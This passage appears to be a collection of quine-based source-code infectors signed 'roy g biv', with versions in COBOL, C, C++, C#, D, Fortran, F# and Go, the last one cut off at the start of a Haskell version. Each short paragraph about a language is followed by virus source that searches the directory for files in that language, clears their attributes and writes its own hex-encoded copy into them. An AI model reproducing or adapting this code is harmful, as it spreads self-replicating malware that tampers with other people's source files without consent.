010913-'544520460A20534554204820544F2720303120462E270A20575249544520460A
010913-'
20534554204820544F2720303220472050494320582836292E270A2057524954
010913-'4520460A20534554204820544F272030322048205049432058283636292E270A
010913-'
20575249544520460A2041444420313020544F20540A20494620523E30205448
010913-'454E0A20504552464F524D2056415259494E47204C2046524F4D204C20425920
010913-'
3120554E54494C204C3E520A205245414420410A20534554204620544F20420A
010913-'20575249544520460A20454E442D504552464F524D0A20454C53450A20504552
010913-'
464F524D2056415259494E47204C2046524F4D204C204259203120554E54494C
010913-'204C3D4F0A205245414420410A20534554204620544F20420A20575249544520
010913-'
460A20454E442D504552464F524D0A20534554204820544F2720574F524B494E
010913-'472D53544F524147452053454354494F4E2E270A20414444203120544F20540A
010913-'
20575249544520460A20454E442D49460A20534554204820544F272030312049
010913-'2050494320392836292E270A20575249544520460A20534554204820544F2720
010913-'
3031204A2050494320392E270A20575249544520460A20534554204820544F27
010913-'203031204B2050494320392E270A20575249544520460A20534554204820544F
010913-'
27203031204C20504943203939392E270A20575249544520460A205345542048
010913-'20544F27203031204D20504943203939392E270A20575249544520460A205345
010913-'
54204820544F27203031204E20504943203939392E270A20575249544520460A
010913-'20534554204820544F27203031204F2050494320392836292E270A2057524954
010913-'
4520460A20534554204820544F27203031205020504943203939392E270A2057
010913-'5249544520460A20534554204820544F27203031205120504943203939392E27
010913-'
0A20575249544520460A20534554204820544F27203031205220504943203928
010913-'35292E270A20575249544520460A20534554204820544F272030312053205049
010913-'
43203939392E270A20575249544520460A20534554204820544F272030312054
010913-'20504943203939392E270A20575249544520460A20534554204820544F272030
010913-'
312055205049432058283539292E270A20575249544520460A20534554204820
010913-'544F2720303120562050494320582839303938292E270A20575249544520460A
010913-'
20534554204820544F272030312057205049432039392E270A20575249544520
010913-'460A2041444420313520544F20540A20504552464F524D2056415259494E4720
010913-'
4C2046524F4D204C204259203120554E54494C204C3E4F0A205245414420410A
010913-'20534554204620544F20420A20575249544520460A20454E442D504552464F52
010913-'
4D0A20534554205620544F27270A20534554205520544F272021222324252627
010913-'2728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F40414243444546
010913-'
4748494A4B4C4D4E4F505152535455560A2D275758595A270A20534554205720
010913-'544F20310A20504552464F524D2056415259494E47204F2046524F4D20312042
010913-'
59203120554E54494C204F3E4C454E475448204F4620560A20534554204D2054
010913-'4F2056284F3A31290A204D554C5449504C59203136204259204D0A2041444420
010913-'
3120544F204F0A20534554205020544F2056284F3A31290A204556414C554154
010913-'452056284F3A31290A205748454E274127534554205020544F2031300A205748
010913-'
454E274227534554205020544F2031310A205748454E27432753455420502054
010913-'4F2031320A205748454E274427534554205020544F2031330A205748454E2745
010913-'
27534554205020544F2031340A205748454E274627534554205020544F203135
010913-'0A20454E442D4556414C554154450A20414444205020544F204D0A204946204D
010913-'
3D3130205448454E0A20534554204828573A29544F205350414345530A205752
010913-'49544520460A20414444203120544F20540A20534554205720544F20310A2045
010913-'
4C53450A2053554254524143542033312046524F4D204D0A2053455420482857
010913-'3A3129544F2055284D3A31290A20414444203120544F20570A204946204F3D36
010913-'
393932205448454E0A20534554204A20544F20300A20534554205220544F2031
010913-'0A20504552464F524D20554E54494C204A3D310A20534554204828573A312954
010913-'
4F205628523A31290A20414444203120544F20570A20414444203120544F2052
010913-'0A20494620523E4C454E475448204F462056205448454E20534554204A20544F
010913-'
20310A20454C534520494620573D3637205448454E0A20575249544520460A20
010913-'414444203120544F20540A20534554204828313A3229544F222D27220A205345
010913-'
54205720544F20330A20454E442D504552464F524D0A20454E442D504552464F
010913-'524D0A20494620573E32205448454E20575249544520460A20454E442D49460A
010913-'
20534554204828313A3129544F2720270A20504552464F524D2056415259494E
010913-'47204C2046524F4D204C204259203120554E54494C204C3D490A205245414420
010913-'
410A20534554204620544F20420A20575249544520460A20454E442D50455246
010913-'4F524D0A20434C4F534520450A20434C4F534520410A204F50454E20494E5055
010913-'
5420450A204F50454E204F555450555420410A20534554204C20544F20310A20
010913-'504552464F524D2056415259494E47204C2046524F4D204C204259203120554E
010913-'
54494C204C3D540A205245414420450A20534554204220544F20460A20575249
010913-'544520420A20454E442D504552464F524D0A20434C4F534520410A20434C4F53
010913-'
4520450A20454E442D49462E0A2A5155494E45202D20524F5920472042495620
010913-'30312F30392F31330A'
010913 SET U TO' !"#$%&''()*+,-./0123456789:;<=>[email protected]
010913-'
WXYZ'
010913 SET W TO 1
010913 PERFORM VARYING O FROM 1 BY 1 UNTIL O>LENGTH OF V
010913 SET M TO V(O:1)
010913 MULTIPLY 16 BY M
010913 ADD 1 TO O
010913 SET P TO V(O:1)
010913 EVALUATE V(O:1)
010913 WHEN'
A'SET P TO 10
010913 WHEN'
B'SET P TO 11
010913 WHEN'
C'SET P TO 12
010913 WHEN'
D'SET P TO 13
010913 WHEN'
E'SET P TO 14
010913 WHEN'
F'SET P TO 15
010913 END-EVALUATE
010913 ADD P TO M
010913 IF M=10 THEN
010913 SET H(W:)TO SPACES
010913 WRITE F
010913 ADD 1 TO T
010913 SET W TO 1
010913 ELSE
010913 SUBTRACT 31 FROM M
010913 SET H(W:1)TO U(M:1)
010913 ADD 1 TO W
010913 IF O=6992 THEN
010913 SET J TO 0
010913 SET R TO 1
010913 PERFORM UNTIL J=1
010913 SET H(W:1)TO V(R:1)
010913 ADD 1 TO W
010913 ADD 1 TO R
010913 IF R>LENGTH OF V THEN SET J TO 1
010913 ELSE IF W=67 THEN
010913 WRITE F
010913 ADD 1 TO T
010913 SET H(1:2)TO"-'
"
010913 SET W TO 3
010913 END-PERFORM
010913 END-PERFORM
010913 IF W>2 THEN WRITE F
010913 END-IF
010913 SET H(1:1)TO' '
010913 PERFORM VARYING L FROM L BY 1 UNTIL L=I
010913 READ A
010913 SET F TO B
010913 WRITE F
010913 END-PERFORM
010913 CLOSE E
010913 CLOSE A
010913 OPEN INPUT E
010913 OPEN OUTPUT A
010913 SET L TO 1
010913 PERFORM VARYING L FROM L BY 1 UNTIL L=T
010913 READ E
010913 SET B TO F
010913 WRITE B
010913 END-PERFORM
010913 CLOSE A
010913 CLOSE E
010913 END-IF.
010913*QUINE - ROY G BIV 01/09/13

C

In computing, C is a general-purpose programming language initially developed by Dennis Ritchie between 1969 and 1973 at AT&T Bell Labs. Like most imperative languages in the ALGOL tradition, C has facilities for structured programming and allows lexical variable scope and recursion, while a static type system prevents many unintended operations. Its design provides constructs that map efficiently to typical machine instructions, and therefore it has found lasting use in applications that had formerly been coded in assembly language, most notably system software like the Unix computer operating system.

Quine-based infector was finished on 17.04.2013.

void main(void)
{

{char*a="7B636861722A613D22222C2A663B0A23696E636C7564653C696F2E683E0A23696E636C7
564653C6D616C6C6F632E683E0A23696E636C7564653C7379732F737461742E683E0A73747275637
4205F66696E64646174615F7420623B6C6F6E6720632C652C673B69662828633D5F66696E6466697
2737428222A2E63222C266229292B31297B646F7B696E7420642C693D302C6A3D303B696628663D6
D616C6C6F6328653D66696C656C656E67746828643D6F70656E28622E6E616D652C3531322929292
97B673D7265616428642C662C65293B636C6F73652864293B7768696C6528665B2D2D675D213D277
D27293B696628665B672D315D213D272F27297B737472756374207374617420683B7374617428622
E6E616D652C2668293B63686D6F6428622E6E616D652C323030293B69662828643D6F70656E28622
E6E616D652C35313329293E30297B777269746528642C662C67293B7768696C6528615B2B2B695D2
93B666F72283B6A3C693B6A2B3D32297B2A663D615B6A5D2A31362B615B6A2B315D2D615B6A2B315
D2F36342A372D34383B777269746528642C662C31293B6966286A3D3D313629777269746528642C6
12C69293B7D777269746528642C662B672C652D67293B636C6F73652864293B7D63686D6F6428622
E6E616D652C682E73745F6D6F6465293B7D667265652866293B7D7D7768696C6528215F66696E646
E65787428632C266229293B5F66696E64636C6F73652863293B7D7D2F2A5175696E65202D20726F7
92067206269762031372F30342F31332A2F"
,*f;
#include<io.h>
#include<malloc.h>
#include<sys/stat.h>
struct _finddata_t b;long c,e,g;if((c=_findfirst("*.c",&b))+1){do{int d,i=0,j=0;if(f=malloc(e=filelength(d=open(b.name,512)))){g=read(d,f,e);close(d);while(f[--g]!='}');if(f[g-1]!='/'){struct stat h;stat(b.name,&h);chmod(b.name,200);if((d=open(b.name,513))>0){write(d,f,g);while(a[++i]);for(;j<i;j+=2){*f=a[j]*16+a[j+1]-a[j+1]/64*7-48;write(d,f,1);if(j==16)write(d,a,i);}write(d,f+g,e-g);close(d);}chmod(b.name,h.st_mode);}free(f);}}while(!_findnext(c,&b));_findclose(c);}}/*Quine - roy g biv 17/04/13*/}
 

C++

C++ is a programming language that is general purpose, statically typed, free-form, multi-paradigm and compiled. It is regarded as an intermediate-level language, as it comprises both high-level and low-level language features. Developed by Bjarne Stroustrup starting in 1979 at Bell Labs, C++ was originally named C with Classes, adding object oriented features, such as classes, and other enhancements to the C programming language. The language was renamed C++ in 1983, as a pun involving the increment operator.

Quine-based infector was finished on 01.09.2013.

#include<string>
#include<io.h>
#include<fstream>
#include<sys/stat.h>
int main(void)
{

{std::string a="23696E636C7564653C737472696E673E0A23696E636C7564653C696F2E683E0A
23696E636C7564653C6673747265616D3E0A23696E636C7564653C7379732F737461742E683E0A7B
7374643A3A737472696E6720613D22222C652C663B737472756374205F66696E64646174615F7420
623B6C6F6E6720633B69662828633D5F66696E64666972737428222A2E637070222C266229292B31
297B646F7B7374643A3A696673747265616D206428622E6E616D65293B69662864297B653D22223B
7768696C65286765746C696E6528642C662929652B3D662B275C6E273B696E7420673D652E6C656E
67746828292C693D303B7768696C6528655B2D2D675D213D277D27293B696628655B672D315D213D
272F27297B737472756374207374617420683B7374617428622E6E616D652C2668293B63686D6F64
28622E6E616D652C323030293B7374643A3A6F6673747265616D206428622E6E616D65293B696628
64297B666F72283B693C612E6C656E67746828293B692B3D32297B63686172206A3D615B695D2A31
362B615B692B315D2D615B692B315D2F36342A372D34383B642E707574286A293B696628693D3D31
343029642E777269746528652E73756273747228302C67292E635F73747228292C67293B69662869
3D3D31373229642E777269746528612E635F73747228292C612E6C656E6774682829293B7D642E77
7269746528652E7375627374722867292E635F73747228292C652E6C656E67746828292D67293B7D
63686D6F6428622E6E616D652C682E73745F6D6F6465293B7D7D7D7768696C6528215F66696E646E
65787428632C266229293B5F66696E64636C6F73652863293B7D7D2F2A5175696E65202D20726F79
2067206269762030362F30362F31332A2F"
,e,f;struct _finddata_t b;long c;
if((c=_findfirst("*.cpp",&b))+1){do{std::ifstream d(b.name);if(d){e="";
while(getline(d,f))e+=f+'\n';int g=e.length(),i=0;while(e[--g]!='}');
if(e[g-1]!='/'){struct stat h;stat(b.name,&h);chmod(b.name,200);std::ofstream d(b.name);
if(d){for(;i<a.length();i+=2){char j=a[i]*16+a[i+1]-a[i+1]/64*7-48;d.put(j);if(i==140)
d.write(e.substr(0,g).c_str(),g);if(i==172)d.write(a.c_str(),a.length());}d.write(
e.substr(g).c_str(),e.length()-g);}chmod(b.name,h.st_mode);}}}while(!_findnext(c,&b));
findclose(c);}}/*Quine - roy g biv 06/06/13*/}
 

C#

C# is a multi-paradigm programming language encompassing strong typing, imperative, declarative, functional, procedural, generic, object-oriented (class-based), and component-oriented programming disciplines. It was developed by Microsoft within its .NET initiative and later approved as a standard by Ecma (ECMA-334) and ISO (ISO/IEC 23270:2006). C# is one of the programming languages designed for the Common Language Infrastructure.

Quine-based infector was finished on 29.04.2013.

using System;
using System.IO;

class quine
{
static void Main()
{

{string a="222C623D227B737472696E6720613D5C22222B612C652C663B696E7420633B666F722
8633D303B633C612E4C656E6774683B632B3D3229622B3D436F6E766572742E546F4368617228436
F6E766572742E546F4279746528612E537562737472696E6728632C32292C313629293B666F72656
163682846696C65496E666F206420696E286E6577204469726563746F7279496E666F28222E22292
92E47657446696C657328222A2E63732229297472797B663D46696C652E52656164416C6C5465787
428653D642E4E616D65293B633D662E4C617374496E6465784F6628277D272C662E4C617374496E6
465784F6628277D27292D31293B696628665B632D315D213D272F27297472797B46696C654174747
269627574657320673D46696C652E476574417474726962757465732865293B46696C652E5365744
174747269627574657328652C30293B46696C652E5772697465416C6C5465787428652C227573696
E672053797374656D3B7573696E672053797374656D2E494F3B5C6E222B662E537562737472696E6
728302C63292B622B662E537562737472696E67286329293B46696C652E536574417474726962757
4657328652C67293B7D63617463687B7D7D63617463687B7D7D2F2A5175696E65202D20726F79206
7206269762032392F30342F31332A2F"
,
b="{string a=\""+a,e,f;int c;for(c=0;c<a.Length;c+=2)b+=Convert.ToChar(Convert.ToByte(
a.Substring(c,2),16));foreach(FileInfo d in(new DirectoryInfo(".")).GetFiles("*.cs"))
try{f=File.ReadAllText(e=d.Name);c=f.LastIndexOf('}',f.LastIndexOf('}')-1);if(f[c-1]!=
'/')try{FileAttributes g=File.GetAttributes(e);File.SetAttributes(e,0);File.WriteAllText(
e,"using System;using System.IO;\n"+f.Substring(0,c)+b+f.Substring(c));File.SetAttributes(e,g);}
catch{}}catch{}}/*Quine - roy g biv 29/04/13*/}

}
 

D

The D programming language is an object-oriented, imperative, multi-paradigm system programming language created by Walter Bright of Digital Mars. Though it originated as a re-engineering of C++, D is a distinct language, having redesigned some core C++ features while also taking inspiration from other languages, notably Java, Python, Ruby, C#, and Eiffel.

Quine-based infector was finished on 20.04.2013.

void main()
{

{
string a="222C623D227B737472696E6720613D5C22227E613B696D706F7274207374642E636F6E
762C7374642E66696C652C7374642E737472696E672C7374642E616C676F726974686D3B696E7420
633B666F7228633D303B633C612E6C656E6774683B632B3D3229627E3D6361737428636861722970
6172736521696E7428615B632E2E632B325D2C3136293B666F726561636828643B646972456E7472
69657328222E222C5370616E4D6F64652E7368616C6C6F772929696628656E64735769746828746F
4C6F77657228642E6E616D65292C222E642229297472797B6175746F20653D636173742863686172
5B5D29726561642864293B666F7228633D652E6C656E6774683B655B2D2D635D213D277D273B297B
7D696628655B632D315D213D272F272974727920777269746528642C655B302E2E635D7E627E655B
632E2E652E6C656E6774685D293B636174636828457863657074696F6E207A297B7D7D6361746368
28457863657074696F6E207A297B7D7D2F2A5175696E65202D20726F792067206269762032302F30
342F31332A2F"
,
b="{string a=\""~a;import std.conv,std.file,std.string,std.algorithm;int c;for(
c=0;c<a.length;c+=2)b~=cast(char)parse!int(a[c..c+2],16);foreach(d;dirEntries(".",
SpanMode.shallow))if(endsWith(toLower(d.name),".d"))try{auto e=cast(char[])read(d);
for(c=e.length;e[--c]!='}';){}if(e[c-1]!='/')try write(d,e[0..c]~b~e[c..e.length]);
catch(Exception z){}}catch(Exception z){}}/*Quine - roy g biv 20/04/13*/}
 

Fortran

Fortran (previously FORTRAN) is a general-purpose, imperative programming language that is especially suited to numeric computation and scientific computing. Originally developed by IBM at their campus in south San Jose, California in the 1950s for scientific and engineering applications, Fortran came to dominate this area of programming early on and has been in continual use for over half a century in computationally intensive areas such as numerical weather prediction, finite element analysis, computational fluid dynamics, computational physics and computational chemistry. It is one of the most popular languages in the area of high-performance computing and is the language used for programs that benchmark and rank the world's fastest supercomputers.

Quine-based infector was finished on 29.08.2013.

      character*4878a
      characterb,c,i
      integerd,e,f
      character*9999g
      character*10j
      character*74k
      a=
     r'2020202020206368617261637465722A34383738610A202020202020636861726
     r163746572622C632C690A202020202020696E7465676572642C652C660A2020202
     r020206368617261637465722A39393939670A20202020202063686172616374657
     r22A31306A0A2020202020206368617261637465722A37346B0A202020202020613
     rD0A20202020207227270A202020202020623D63686172283130290A20202020202
     r0633D63686172283339290A202020202020643D310A202020202020646F322C653
     rD312C6C656E2861292C320A202020202020663D6963686172286128652B313A292
     r90A2020202020206728643A64293D63686172286963686172286128653A29292A3
     r1362B662D662F36342A372D383136290A202020202020696628652E65712E32373
     r9297468656E0A202020202020683D36350A202020202020646F312C663D312C6C6
     r56E2861290A202020202020673D67283A64292F2F6128663A66290A20202020202
     r0643D642B310A202020202020696628662E65712E68297468656E0A20202020202
     r0696628662E6E652E34303235297468656E0A202020202020673D67283A64292F2
     rF622F2F27202020202072270A202020202020643D642B370A202020202020683D6
     r62B36360A202020202020656C73650A202020202020693D6728643A64290A20202
     r0202020673D67283A642D31292F2F632F2F622F2F27202020202020613D61283A3
     r4303234292F2F272F2F632F2F690A202020202020643D642B32310A20202020202
     r0683D662B35320A202020202020656E6469660A202020202020656E6469660A312
     r020202020636F6E74696E75650A202020202020656E6469660A202020202020643
     rD642B310A322020202020636F6E74696E75650A2020202020206A3D27766963746
     r96D2E666F72270A2020202020206F70656E28312C66696C653D6A290A202020202
     r020663D300A202020202020683D300A2020202020206C3D300A332020202020726
     r5616428312C27286129272C656E643D36296B0A202020202020663D662B310A202
     r020202020696628696E646578286B2C277175696E6527292E6E652E30297468656
     rE0A2020202020206C3D310A202020202020676F746F360A202020202020656C736
     r520696628682E65712E30297468656E0A202020202020646F342C6D3D312C6C656
     rE286B290A2020202020206966286B286D3A6D292E67652E274127297468656E0A2
     r020202020206966286B286D3A6D292E6C652E275A27297468656E0A20202020202
     r06B286D3A6D293D63686172286963686172286B286D3A29292B3332290A2020202
     r02020656E6469660A202020202020656E6469660A342020202020636F6E74696E7
     r5650A202020202020696628696E646578286B283A36292C2720202020202027292
     rE6E652E30297468656E0A202020202020696628696E646578286B2C277265616C2
     r7292E65712E30297468656E0A202020202020696628696E646578286B2C27636F6
     rD6D6F6E27292E65712E30297468656E0A202020202020696628696E646578286B2
     rC27646F75626C6527292E65712E30297468656E0A202020202020696628696E646
     r578286B2C277265636F726427292E65712E30297468656E0A20202020202069662
     r8696E646578286B2C27636F6D706C657827292E65712E30297468656E0A2020202
     r02020696628696E646578286B2C27696E746567657227292E65712E30297468656
     rE0A202020202020696628696E646578286B2C276C6F676963616C27292E65712E3
     r0297468656E0A202020202020696628696E646578286B2C2763686172616374657
     r227292E65712E30297468656E0A202020202020696628696E646578286B2C27646
     r96D656E73696F6E27292E65712E30297468656E0A202020202020696628696E646
     r578286B2C27706172616D6574657227292E65712E30297468656E0A20202020202
     r0696628696E646578286B2C2773747275637475726527292E6E652E30297468656
     rE0A3520202020207265616428312C2728612927296B0A202020202020663D662B3
     r10A202020202020696628696E646578286B2C2773747275637475726527292E657
     r12E30297468656E0A202020202020676F746F350A202020202020656E6469660A2
     r02020202020656C73650A202020202020683D660A202020202020656E6469660A2
     r02020202020656E6469660A202020202020656E6469660A202020202020656E646
     r9660A202020202020656E6469660A202020202020656E6469660A2020202020206
     r56E6469660A202020202020656E6469660A202020202020656E6469660A2020202
     r02020656E6469660A202020202020656E6469660A202020202020656E6469660A2
     r02020202020656E6469660A202020202020676F746F330A362020202020636C6F7
     r3652831290A2020202020206966286C2E65712E30297468656E0A2020202020206
     rF70656E28312C66696C653D6A290A2020202020206F70656E28322C66696C653D2
     r77227290A202020202020646F392C6D3D312C662B310A2020202020206966286D2
     rE6E652E68297468656E0A2020202020207265616428312C2728612927296B0A202
     r020202020653D6C656E286B290A3720202020206966286B28653A65292E65712E2
     r72027297468656E0A202020202020653D652D310A202020202020676F746F370A2
     r02020202020656E6469660A202020202020777269746528322C2A296B283A65290
     rA202020202020656C73650A202020202020653D310A382020202020663D696E64'

      a=a(:4024)//'6578286728653A292C62290A202020202020777269746528322C2
     rA296728653A652B662D32290A202020202020653D652B660A20202020202069662
     r8652E6C742E64297468656E0A202020202020676F746F380A202020202020656E6
     r469660A202020202020656E6469660A392020202020636F6E74696E75650A20202
     r0202020636C6F73652832290A202020202020636C6F73652831290A20202020202
     r06F70656E28312C66696C653D277227290A2020202020206F70656E28322C66696
     rC653D6A290A3131202020207265616428312C27286129272C656E643D3133296B0
     rA202020202020653D6C656E286B290A3132202020206966286B28653A65292E657
     r12E272027297468656E0A202020202020653D652D310A202020202020676F746F3
     r1320A202020202020656E6469660A202020202020777269746528322C2A296B283
     rA65290A202020202020676F746F31310A313320202020636C6F73652832290A202
     r020202020636C6F736528312C7374617475733D2764656C65746527290A2020202
     r02020656E6469660A63205175696E65202D20726F792067206269762032392F303
     r82F31330A'

      b=char(10)
      c=char(39)
      d=1
      do2,e=1,len(a),2
      f=ichar(a(e+1:))
      g(d:d)=char(ichar(a(e:))*16+f-f/64*7-816)
      if(e.eq.279)then
      h=65
      do1,f=1,len(a)
      g=g(:d)//a(f:f)
      d=d+1
      if(f.eq.h)then
      if(f.ne.4025)then
      g=g(:d)//b//'     r'
      d=d+7
      h=f+66
      else
      i=g(d:d)
      g=g(:d-1)//c//b//'      a=a(:4024)//'//c//i
      d=d+21
      h=f+52
      endif
      endif
1     continue
      endif
      d=d+1
2     continue
      j='victim.for'
      open(1,file=j)
      f=0
      h=0
      l=0
3     read(1,'(a)',end=6)k
      f=f+1
      if(index(k,'quine').ne.0)then
      l=1
      goto6
      else if(h.eq.0)then
      do4,m=1,len(k)
      if(k(m:m).ge.'A')then
      if(k(m:m).le.'Z')then
      k(m:m)=char(ichar(k(m:))+32)
      endif
      endif
4     continue
      if(index(k(:6),'      ').ne.0)then
      if(index(k,'real').eq.0)then
      if(index(k,'common').eq.0)then
      if(index(k,'double').eq.0)then
      if(index(k,'record').eq.0)then
      if(index(k,'complex').eq.0)then
      if(index(k,'integer').eq.0)then
      if(index(k,'logical').eq.0)then
      if(index(k,'character').eq.0)then
      if(index(k,'dimension').eq.0)then
      if(index(k,'parameter').eq.0)then
      if(index(k,'structure').ne.0)then
5     read(1,'(a)')k
      f=f+1
      if(index(k,'structure').eq.0)then
      goto5
      endif
      else
      h=f
      endif
      endif
      endif
      endif
      endif
      endif
      endif
      endif
      endif
      endif
      endif
      endif
      endif
      goto3
6     close(1)
      if(l.eq.0)then
      open(1,file=j)
      open(2,file='r')
      do9,m=1,f+1
      if(m.ne.h)then
      read(1,'(a)')k
      e=len(k)
7     if(k(e:e).eq.' ')then
      e=e-1
      goto7
      endif
      write(2,*)k(:e)
      else
      e=1
8     f=index(g(e:),b)
      write(2,*)g(e:e+f-2)
      e=e+f
      if(e.lt.d)then
      goto8
      endif
      endif
9     continue
      close(2)
      close(1)
      open(1,file='r')
      open(2,file=j)
11    read(1,'(a)',end=13)k
      e=len(k)
12    if(k(e:e).eq.' ')then
      e=e-1
      goto12
      endif
      write(2,*)k(:e)
      goto11
13    close(2)
      close(1,status='delete')
      endif
c Quine - roy g biv 29/08/13

      end
 

F#

F# (pronounced F Sharp) is an open-source, strongly typed, multi-paradigm programming language encompassing functional, imperative and object-oriented programming techniques. F# is most often used as a cross-platform CLI language, but can also be used to generate JavaScript and GPU code.

Quine-based infector was finished on 09.09.2013.

let a="220A6C6574206D757461626C6520623D226C657420613D5C22222B610A6F70656E2053797
374656D0A6F70656E2053797374656D2E494F0A666F72206320696E20302E2E322E2E612E4C656E6
774682D3120646F0A20623C2D622B436F6E766572742E546F537472696E6728436F6E766572742E5
46F4368617228436F6E766572742E546F4279746528612E5B632E2E632B315D2C31362929290A666
F72286129696E286E6577204469726563746F7279496E666F28222E2229292E47657446696C65732
8222A2E66732229646F0A206C657420633D612E4E616D650A206C657420643D46696C652E5265616
4416C6C546578742863290A20696620642E436F6E7461696E7328225175696E6522293D66616C736
5207468656E0A20206C657420653D46696C652E476574417474726962757465732863290A2020466
96C652E5365744174747269627574657328632C46696C65417474726962757465732E4E6F726D616
C290A202046696C652E5772697465416C6C5465787428632C622B64290A202046696C652E5365744
174747269627574657328632C65290A2F2F5175696E65202D20726F792067206269762030392F303
92F31330A"

let mutable b="let a=\""+a
open System
open System.IO
for c in 0..2..a.Length-1 do
 b<-b+Convert.ToString(Convert.ToChar(Convert.ToByte(a.[c..c+1],16)))
for(a)in(new DirectoryInfo(".")).GetFiles("*.fs")do
 let c=a.Name
 let d=File.ReadAllText(c)
 if d.Contains("Quine")=false then
  let e=File.GetAttributes(c)
  File.SetAttributes(c,FileAttributes.Normal)
  File.WriteAllText(c,b+d)
  File.SetAttributes(c,e)
//Quine - roy g biv 09/09/13
 

Go

Go, also called golang, is a programming language initially developed at Google in 2007 by Robert Griesemer, Rob Pike, and Ken Thompson. It is a statically-typed language with syntax loosely derived from that of C, adding automatic memory management, type safety, some dynamic-typing capabilities, additional built-in types such as variable-length arrays and key-value maps, and a large standard library.

Quine-based infector was finished on 25.04.2013.

package main

import("strconv";"strings";"path/filepath";"os";"bufio";"syscall")

func main() {
{
a:="220A623A3D227B613A3D5C22222B610A666F7220633A3D303B633C6C656E2861293B632B3D32
7B0A642C5F3A3D737472636F6E762E5061727365496E7428615B633A632B325D2C31362C38290A62
2B3D737472696E672864290A7D0A696620612C5F3A3D66696C65706174682E476C6F6228222A2E67
6F22293B61213D6E696C7B0A666F72205F2C633A3D72616E676520617B0A696620642C653A3D6F73
2E4F70656E2863293B653D3D6E696C7B200A662C672C682C6C2C6D2C702C713A3D627566696F2E4E
65775265616465722864292C22222C6D616B65285B5D737472696E672C30292C2D312C302C302C22
5C6E220A76617228692C6F20737472696E673B6A2C6E2C7220696E74290A666F7220653D3D6E696C
7B0A692C653D662E52656164537472696E6728275C6E27290A6966206A3D737472696E67732E496E
64657828692C225175696E6522293B6A3E307B200A627265616B0A7D0A6B3A3D737472696E67732E
546F4C6F7765722869290A6966206C3C307B0A6966206C3D737472696E67732E496E646578286B2C
2266756E632022293B6C3C307B200A6966206D3D3D307B0A6966206E3D737472696E67732E496E64
6578286B2C22696D706F727422293B6E3E3D307B200A6D3D310A7D0A7D0A6966206D3D3D317B0A6F
3D6B5B6E3A5D0A696620703D3D307B0A696620737472696E67732E496E646578286F2C222822293E
3D307B0A713D2229220A7D0A696620737472696E67732E496E646578286F2C225C2222293E3D307B
200A703D310A7D656C73657B0A6E3D300A7D0A7D0A696620703D3D317B0A666F727B0A696620723D
737472696E67732E496E646578286F5B6E3A5D2C225C2222292B313B723D3D307B0A627265616B0A
7D0A6E2B3D720A733A3D737472696E67732E496E646578286F5B6E3A5D2C225C2222292B6E0A743A
3D6D616B65285B5D737472696E672C6C656E2868292B31290A636F707928742C68290A636F707928
745B6C656E2868293A5D2C5B5D737472696E677B6F5B6E3A735D7D29200A683D740A6E3D732B310A
7D0A696620737472696E67732E496E646578286F2C71293E3D307B200A6D3D300A703D300A713D22
5C6E220A7D656C73657B0A6E3D30200A7D0A7D0A7D0A7D0A7D0A672B3D690A7D0A642E436C6F7365
28290A6966206A3C307B0A662C5F3A3D6F732E537461742863290A6F732E43686D6F6428632C662E
4D6F646528297C31343629200A696620642C653D6F732E4F70656E46696C6528632C73797363616C
6C2E4F5F57524F4E4C592C313436293B653D3D6E696C7B200A6B3A3D5B5D737472696E677B227061
74682F66696C6570617468222C226F73222C22627566696F222C22737472696E6773222C22737973
63616C6C222C22737472636F6E76227D0A713D22696D706F727428220A666F72206A2C5F3D72616E
6765206B7B0A6E3D300A666F72205F2C693D72616E676520687B0A6966206B5B6A5D3D3D697B0A6E
3D310A627265616B0A7D0A7D0A6966206E3D3D307B0A712B3D225C22222B6B5B6A5D2B225C223B22
200A7D0A7D0A6966206C656E2871293E377B0A6A3D737472696E67732E496E64657828672C226675
6E632022290A673D675B303A6A5D2B712B22295C6E222B675B6A3A5D0A7D0A6A3D737472696E6773
2E4C617374496E64657828672C227D22290A693A3D627566696F2E4E65775772697465722864290A
692E5772697465537472696E6728675B303A6A5D2B622B675B6A3A5D29200A692E466C7573682829
0A642E436C6F736528290A7D0A6F732E43686D6F6428632C662E4D6F64652829290A7D0A7D0A7D0A
7D0A7D0A2F2A5175696E65202D20726F792067206269762032352F342F31332A2F"
b:="{a:=\""+a
for c:=0;c<len(a);c+=2{
d,_:=strconv.ParseInt(a[c:c+2],16,8)
b+=string(d)
}
if a,_:=filepath.Glob("*.go");a!=nil{
for _,c:=range a{
if d,e:=os.Open(c);e==nil{
f,g,h,l,m,p,q:=bufio.NewReader(d),"",make([]string,0),-1,0,0,"\n"
var(i,o string;j,n,r int)
for e==nil{
i,e=f.ReadString('\n')
if j=strings.Index(i,"Quine");j>0{
break
}
k:=strings.ToLower(i)
if l<0{
if l=strings.Index(k,"func ");l<0{
if m==0{
if n=strings.Index(k,"import");n>=0{
m=1
}
}
if m==1{
o=k[n:]
if p==0{
if strings.Index(o,"(")>=0{
q=")"
}
if strings.Index(o,"\"")>=0{
p=1
}else{
n=0
}
}
if p==1{
for{
if r=strings.Index(o[n:],"\"")+1;r==0{
break
}
n+=r
s:=strings.Index(o[n:],"\"")+n
t:=make([]string,len(h)+1)
copy(t,h)
copy(t[len(h):],[]string{o[n:s]})
h=t
n=s+1
}
if strings.Index(o,q)>=0{
m=0
p=0
q="\n"
}else{
n=0
}
}
}
}
}
g+=i
}
d.Close()
if j<0{
f,_:=os.Stat(c)
os.Chmod(c,f.Mode()|146)
if d,e=os.OpenFile(c,syscall.O_WRONLY,146);e==nil{
k:=[]string{"path/filepath","os","bufio","strings","syscall","strconv"}
q="import("
for j,_=range k{
n=0
for _,i=range h{
if k[j]==i{
n=1
break
}
}
if n==0{
q+="\""+k[j]+"\";"
}
}
if len(q)>7{
j=strings.Index(g,"func ")
g=g[0:j]+q+")\n"+g[j:]
}
j=strings.LastIndex(g,"}")
i:=bufio.NewWriter(d)
i.WriteString(g[0:j]+b+g[j:])
i.Flush()
d.Close()
}
os.Chmod(c,f.Mode())
}
}
}
}
}
/*Quine - roy g biv 25/4/13*/

}
 

Haskell

Haskell is a standardized, general-purpose purely functional programming language, with non-strict semantics and strong static typing. It is named after logician Haskell Curry. In Haskell, "a function is a first-class citizen" of the programming language. As a functional programming language, the primary control construct is the function.

Quine-based infector was finished on 25.04.2013.

import Data.List
import Data.Char
import Data.ByteString.Char8 hiding(map,lines,unlines,length)
import System.Directory
h a b c=do
 return([chr(ord(a!!d)*16+ord(a!!(d+1))-(ord(a!!(d+1))`div`64)*7-816)|d<-[b,b+2..c-1]])
a b=do
 let c="696D706F727420446174612E4C6973740A696D706F727420446174612E436861720A696D
